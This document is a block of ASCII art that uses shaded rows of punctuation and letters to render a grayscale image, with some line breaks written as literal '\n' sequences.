::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: 